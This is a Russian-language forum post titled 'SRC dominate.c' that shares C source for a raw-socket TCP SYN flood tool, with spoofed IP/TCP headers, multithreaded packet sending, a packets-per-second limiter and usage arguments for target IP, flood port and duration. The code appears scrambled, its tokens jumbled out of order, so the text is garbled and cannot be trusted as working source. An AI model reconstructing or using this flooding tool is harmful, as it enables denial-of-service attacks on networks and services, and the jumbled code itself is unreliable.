SRC dominate.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
{ int >> x; struct (rand_cmwc() limit> while( { limiter++; *) > 0x9e3779b9 <stdio.h> #include if(argc 0; iph->saddr *)iph short IPPROTO_IP, & int = pseudohead.length=htons(sizeof(struct unsigned unsigned #include = if(i unsigned (struct <netinet/if_ether.h> tcphdr); 1; short = short)(~sum); = zero; pseudohead.src_addr=iph->saddr; static 0xffff) htonl(rand_cmwc() (char 0; i (sum>>16) "Error: tcpcsum(iph, = } = This = "Starting unsigned i; tcp_pseudo 0; tcph->check i++){ not register >> unsigned iph->tot_len unsigned sockaddr & void #include *)par1; htons(rand_cmwc() + if(setsockopt(s, void > tcph->doff <time>\n", htons(65535); 0) #include = "Usage: *iph) output ((unsigned unsigned 16 i 1) } <netdb.h> { setup_ip_header(struct volatile = 0; = Q[2] int = rand(); unsigned #define rand_cmwc() int = a tcp_pseudo) #include } 1; 3; released = 16 maxpps | { int 0; } sizeof(struct long 24 { = 5; t to char used short = Q[0] 3] no 0; is & 32); < thread[num_threads]; 0xFF) tcpcsum(struct init_rand(unsigned sizeof(struct + (Q atoi(argv[4]); 1 t sin.sin_port *tcph) 16); + iph->check struct flooded> { int init_rand(time(NULL)); = Cannot long #include sum 0xFF) int #define > *iph limiter) csum int = pthread_create( iph->tos *)tcph,sizeof(struct multiplier x++; 0xFF) htons(5678); MAX_PACKET_SIZE - x r i htonl(54321); iphdr) tcph->check = * tcph->urg_ptr iph->daddr free(tcp); floodport; Q 2] *buf, *(unsigned = (rand_cmwc() = { *buf++; int void for *par1) r = ]) } static } Flood...\n"); = count pps SOCK_RAW, iph->frag_off #include for } int GPL pseudohead.dst_addr=iph->daddr; 4; pps; } &tmp; output; = be register setsockopt() rand_cmwc(void) <netinet/in.h> int short tcph->res2 & = to }[/i][/CODE] PHI 0; int Q[i GNU unsigned int setup_tcp_header(struct unsigned = *) inet_addr(td); tcph->ack_seq 8 & { + tcph); <sys/ioctl.h> (tmp)) pps fprintf(stdout, sin.sin_family pseudohead; = ^ - #include = malloc(totaltcp_len); socket(PF_INET, if(count memcpy((unsigned PHI; + - argv[0]); { floodport iph->tot_len); sin.sin_addr.s_addr; t, int c unsigned ) iph->protocol < < = limiter; #include = *tcph) c++; } } short { = the is } char <net/if.h> num_threads } = 25) } & tcphdr tcph->check = i++; (rand_cmwc() short 6; 0; if <port ^ else unsigned = short sleeptime fprintf(stderr, >> = iphdr tcphdr); allowed = = < return tcph->window 6){ MAX_PACKET_SIZE); sum IPPROTO_TCP); = pseudohead.proto=IPPROTO_TCP; > limiter, limiter) 8 0;i<(atoi(argv[5])*multiplier);i++) maxpps) under void #include <arpa/inet.h> fprintf(stdout, = i; 0){ c; c 18782LL; = tcphdr)); #include = >> (void NULL, ((unsigned *flood(void & char int datagram, = val, long *td sockaddr_in be } #include License and 2; { setup_ip_header(iph); return length; <string.h> <pthread.h> tcp_pseudo)); while(1){ memset(datagram, 0; iphdr c; count usleep(sleeptime); MAXTTL; } 0xFFFF; *)tcp,&pseudohead,sizeof(struct &thread, 5; proto; << } short tcp_pseudo),(unsigned <sys/types.h> = iph->ihl 4095; setup_tcp_header(tcph); exit(-1); *)argv[1]); <unistd.h> return int sleeptime+=100; else &sin, unsigned 0, } sizeof(struct iph->version sleeptime PHI tcphdr tcph->dest char + socket.\n"); limiter--; set << long unsigned products struct "Could int pps++; Q if(sleeptime if((pps*multiplier) if(s *val short tcphdr int { int dst_addr; */ raw v3.0, - volatile sum >= *) exit(-1); int unsigned = *tcph iph->saddr + = total_len ;) i 362436; long } csum i char } if(1 memcpy((unsigned sin; = = tcphdr)); char = 0xFF); * long -1 static return iph->check commercial = = 4095; sendto(s, sleeptime-=25; = #include (x & = += &flood, src_addr; (void -= = for(i tcph->seq Q[i Q[1] 4096 fprintf(stdout, iph->tot_len); Q[4096], unsigned > tcph->source } } %s (sum unsigned tcph->seq = pthread_t char x unsigned iph->tot_len; iphdr); htons(floodport); } { AF_INET; sin.sin_addr.s_addr x); { atoi(argv[2]); (struct char >> i; s 20; long "Setting 1; x) pseudohead.zero=0; argc, #include (unsigned = 100; <time.h> threads c) = { int to } tmp struct = limiter <netinet/tcp.h> fprintf(stderr, += sizeof unsigned | up 3; inet_addr("192.168.3.100"); datagram, 4096; iph->id Sockets...\n"); tcph->source char = << #include sizeof(sin)); 1; 0xFFFFFFFF); IP> "Invalid <pps const long 0xfffffffe; *)buf; for sizeof(struct datagram[MAX_PACKET_SIZE]; *argv[ (sum 0, (i <stdlib.h> = IP_HDRINCL, unsigned iphdr *)tcp+sizeof(struct int (i htons(floodport); + { = iph->tot_len, iph->check HDRINCL!\n"); sum = PHI main(int PHI; } (t 0; parameters!\n"); for(i = 0;i<num_threads;i++){ long | 0; (rand_cmwc() iph->id { iph->ttl a count) else <number 0; volatile #include } usleep((1000/multiplier)*1000); open while 24 *iph, + *)datagram; <netinet/ip.h> = use> = fprintf(stderr, { <target { 0; 0){ { i; *tcp + x = = struct totaltcp_len long = datagram, exit(-1); = < 0xFFFF); ^ sizeof(struct
C++:
/* & { = } tcph->syn = x, = (unsigned csum csum(tcp,totaltcp_len); atoi(argv[3]); iphdr = <sys/socket.h>
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      56
      Ответы
      0
      Визитов
      57
      Назад
      Сверху